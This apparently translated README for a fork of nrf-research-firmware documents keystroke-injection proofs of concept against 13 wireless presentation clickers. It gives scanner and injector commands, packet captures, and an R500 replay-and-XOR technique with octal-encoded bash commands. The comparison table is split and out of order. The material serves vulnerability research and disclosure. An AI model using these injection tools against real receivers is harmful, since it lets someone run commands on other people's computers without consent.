我当时想做些射频逆向工程,于是订购了几个演示翻页笔,玩得不亦乐乎。
这是 nrf-research-firmware 的一个分支(几年前我在 Bastille 编写了它)。我添加了对几个新收发器/协议的支持,并包含 13 款常见演示翻页笔的按键注入 POC。
| 厂商 | 型号 | 协议 | RFIC | 添加时间 |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 |
这是标准的加密罗技键盘协议,R500 使用该协议。它在某种程度上容易受到我在 MouseJack 项目中与罗技 Unifying 键盘一起记录的“加密按键注入”攻击的影响。
我说某种程度上,是因为并非所有 HID 扫描码都会被接受。具体来说,当接收器将数据包发送到主机时,0x04-0x1D(A-Z)会被替换为 0x00,这意味着只要不是字母,我们就可以注入任意内容。另一个例外是 ctrl 组合键是允许的,即使它们包含字母。
通过 R500 实现有效的按键注入需要我们发挥一点创造力。
假设目标处于 bash 会话中。在 bash 中,我们可以用八进制对字符进行编码,从而对包含我们希望目标执行的字母的命令进行编码。
例如,ping google.com 被编码为 $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'。如果我们把这个字符串发送到 bash 会话,然后发送 enter,目标机器上将执行 ping google.com 命令。
你可以按如下方式使用 nrf24-scanner 找到 Logitech R500 的地址:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
数据包看起来应该像这样:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
注入之所以可行,是因为接收器没有强制使用递增的 AES 计数器,因此你可以重放数据包。通过 OTA 发送的数据包由一个已使用 AES 计数器模式加密的 USB HID 载荷以及随后的计数器组成。当你按下演示翻页笔上的按钮时,它会生成一个按键按下数据包和一个按键释放数据包。按键释放数据包全为 0,这为我们提供了干净整洁的密钥材料,我们可以将其复用,与自己的载荷进行 XOR,然后通过 OTA 发送。
自动化监听按键按下、提取第二个(按键释放)数据包并自动将其用作密钥材料参考的过程并不困难。但我比较懒,所以你需要先自己观察一次按键按下,它看起来像这样:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
第二个 22 字节的数据包就是按键释放数据包。
删除载荷的最后一个字节,并将字符串复制粘贴到 logitech.py 中,替换 KEYUP_REF。
(如果不更新 KEYUP_REF,它应该无法工作,但如果确实能工作,请告诉我!)
将 bash ping google.com 的八进制编码按键序列注入到指定的 Logitech R500 接收器(地址 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
这是标准的未加密罗技协议,R400/R800 使用该协议。
你可以按如下方式使用 nrf24-scanner 找到 Logitech R400/R800 的地址:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
数据包看起来应该像这样:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
将测试按键序列注入到指定的 Logitech R400/R800 接收器(地址 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
Rii 无线演示翻页笔(圆珠笔型)基于 BK2451(似乎是 nRF24 的克隆版)。从大量同类设备来看,这看起来像是一个通用协议,所以在获得更多数据后,我可能会对其重新分类。
它在功能上是一个未加密的无线键盘,容易受到按键注入攻击。
这款无线演示翻页笔(圆珠笔型)使用 250Kb/s 的 nRF24 Enhanced Shockburst(似乎无 ACK)和 5 字节地址。我测试的设备被观察到驻留在 2425 MHz,但它似乎使用某种频率捷变方案。实际上,在发送按键数据包之前,有必要在目标信道上发送一些虚拟数据包。
我怀疑存在某种尚未被我分析清楚的信道跳变,但针对单一信道就足以演示按键注入了。
你可以按如下方式使用 nrf24-scanner 找到你的无线演示翻页笔(圆珠笔型)的地址:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
请注意,你的设备可能位于另一个信道。
数据包看起来应该像这样:
[2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00
[2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00
[2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00
[2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00
将测试按键序列注入到指定的 Rii 接收器(地址 6D:8C:01:14:25):
sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25
TBBSC DSIT-60 基于 BK2451(似乎是 nRF24 的克隆版)。有一些明显的同类设备(例如这款)我尚未测试。目前我将其归类为一种独特协议,但在我测试了这些同类设备后,这种分类很可能会改变。
它在功能上是一个未加密的无线键盘,容易受到按键注入攻击。
DSIT-60 使用 250Kb/s 的 nRF24 Enhanced Shockburst(或至少是等效的 OTA 实现)和 3 字节地址。我测试的设备被观察到驻留在 2406 MHz,但我不确定它可能使用哪些其他信道。
你可以按如下方式使用 nrf24-scanner 找到你的 DSIT-60 的地址:
sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3
请注意,你的设备可能位于另一个信道,或者可能存在一些我尚未观察到的频率捷变 重调。
数据包看起来应该像这样:
[2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28
将测试按键序列注入到指定的 TBBSC DSIT-60 接收器(地址 87:02:09):
sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09
这几乎可以肯定是通用协议,但我尚未查看任何同类设备(例如这款)。目前我将其归类为一种独特协议,但在我测试了这些同类设备后,这种分类很可能会改变。
P-001 基于 nRF24 RFIC 系列,在功能上是一个未加密的无线键盘,容易受到按键注入攻击。
P-001 使用 2Mb/s 的 nRF24 Enhanced Shockburst,采用 5 字节地址,信道为 2402-2476。
你可以使用 nrf24-scanner.py 找到你的 P-001 的地址。
按下右箭头键应生成看起来类似下面的数据包:
[2019-04-20 12:59:13.908] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.909] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.999] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
[2019-04-20 12:59:14.120] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.121] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.211] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
将测试按键序列注入到指定的 AmazonBasics P-001 接收器(地址 44:CB:66:A3:BE):
sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE
我不确定该协议是否为 Canon PR100-R 所独有,但由于它是我观察到的唯一使用该协议的设备,我会将其单独归类,直到数据表明其他情况。
PR100-R 基于 PL1167 RFIC 和未知的 MCU。
PR100-R 在功能上是一个未加密的无线键盘,容易受到按键注入攻击。
PR100-R 使用 1Mb/s 的 FSK 协议,工作频率在 2406 MHz 至 2481 MHz 之间、间隔为 5 MHz 的信道上。
数据包经过白化处理,并由 16 位 CRC 保护。
看起来接收器不会发送 ACK 回包,但需要注意的是,我对该协议进行逆向的深度仅足以演示按键注入。
该协议在信道选择上似乎采用频率捷变方式,接收器会在遥控器在某个信道上发送一定数量的数据包后锁定该信道。实际上,在发送按键数据包之前,先发送几秒钟的虚拟数据包就足够了。
根据数据包格式,尚不清楚该协议是使用固定的同步字还是每设备地址。由于价格较高,我只查看了单个设备,因此无法完全验证数据包格式。
该注入脚本对我的 PR100-R 有效,但可能需要进行修改才能通用。如果你还有另一台 PR100-R,并且能够验证这一点,请告诉我!
将测试按键序列注入附近的一台 Canon PR100-R 接收器:
sudo ./tools/preso-injector.py -l -f canon
HS304 似乎是一款面向演示翻页笔(也可能是无线键盘/鼠标)的专用 RFIC。该名称来自 USB 设备字符串 HAS HS304,并且这一组中的所有设备都相同。
该 RFIC 被观察到是无标记的 SOP-16 封装,各厂商之间没有明显差异。
基于 HS304 的设备在功能上是未加密的无线键盘,容易受到按键注入攻击。
HS304 是一种 1Mb/s 的 FSK 协议,工作在 2.4GHz ISM 频段的三个信道上(2407、2433、2463)。接收器似乎不会向演示翻页笔发送 ACK,数据包传输通过在每个信道(共三个)上发送每个数据包来确保。
实际上,在单一信道上多次发送每个数据包也可以实现可靠的数据包传输。
数据包经过白化处理,并由 16 位 CRC 保护。
没有寻址或配对方案,因此按键注入不需要设备发现,但缺少 ACK 也排除了对接收器进行主动发现的可能性。
将测试按键序列注入附近的多台 HS304 接收器:
sudo ./tools/preso-injector.py -l -f hs304
接收并解码附近 NS304 演示翻页笔发送的数据包:
sudo ./tools/preso-scanner.py -l -f hs304
| 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |